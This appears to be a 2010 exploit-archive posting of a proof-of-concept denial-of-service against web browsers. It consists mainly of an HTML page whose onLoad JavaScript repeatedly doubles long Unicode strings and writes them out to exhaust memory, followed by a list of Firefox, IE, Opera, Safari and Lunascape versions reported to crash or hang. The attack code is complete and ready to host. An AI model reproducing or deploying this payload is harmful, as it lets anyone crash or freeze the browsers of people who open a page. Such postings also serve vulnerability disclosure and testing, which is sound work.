All Browsers - Long Unicode DoS PoC
Posted on 03 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>All Browsers - Long Unicode DoS PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=================================== All Browsers - Long Unicode DoS PoC =================================== <html> <title>Dr_IDE - All Browsers - Long Unicode DoS PoC</title> <head> <script> function boom() { //The number of strings increases the amount of memory consumed, quicker crash where applicable. var longunistring1 = unescape("%u4141%u4141"); var longunistring2 = unescape("%u4242%u4242"); var longunistring3 = unescape("%u4343%u4343"); var longunistring4 = unescape("%u4444%u4444"); for(i=0; i <= 60 ; ++i) //This number is very sensitive. If you go far over 60 IE won't "work" { longunistring1+=longunistring1; longunistring2+=longunistring2; longunistring3+=longunistring3; longunistring4+=longunistring4; document.write(longunistring1); document.write(longunistring2); document.write(longunistring3); document.write(longunistring4); } document.write(longunistring1); document.write(longunistring2); document.write(longunistring3); document.write(longunistring4); } </script> </head> <body onLoad="boom()"> <br>Tested on Windows 7: <br>Firefox 3.6.4 (CrashReporter) <br>IE 8.0.7600.16385 (Hangs, must quit) <br>Lunascape6 (Crashes with Gecko Engine)[Firefox mode] <br>Lunascape6 (Crashes with Webkit Engine)[Safari mode] <br>Lunascape6 (Crashes with Trident Engine)[IE mode] <br>Opera 10.51 (Hangs, must kill) <br>Safari 4.0.5 (Hangs, must kill) </body> </html> # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>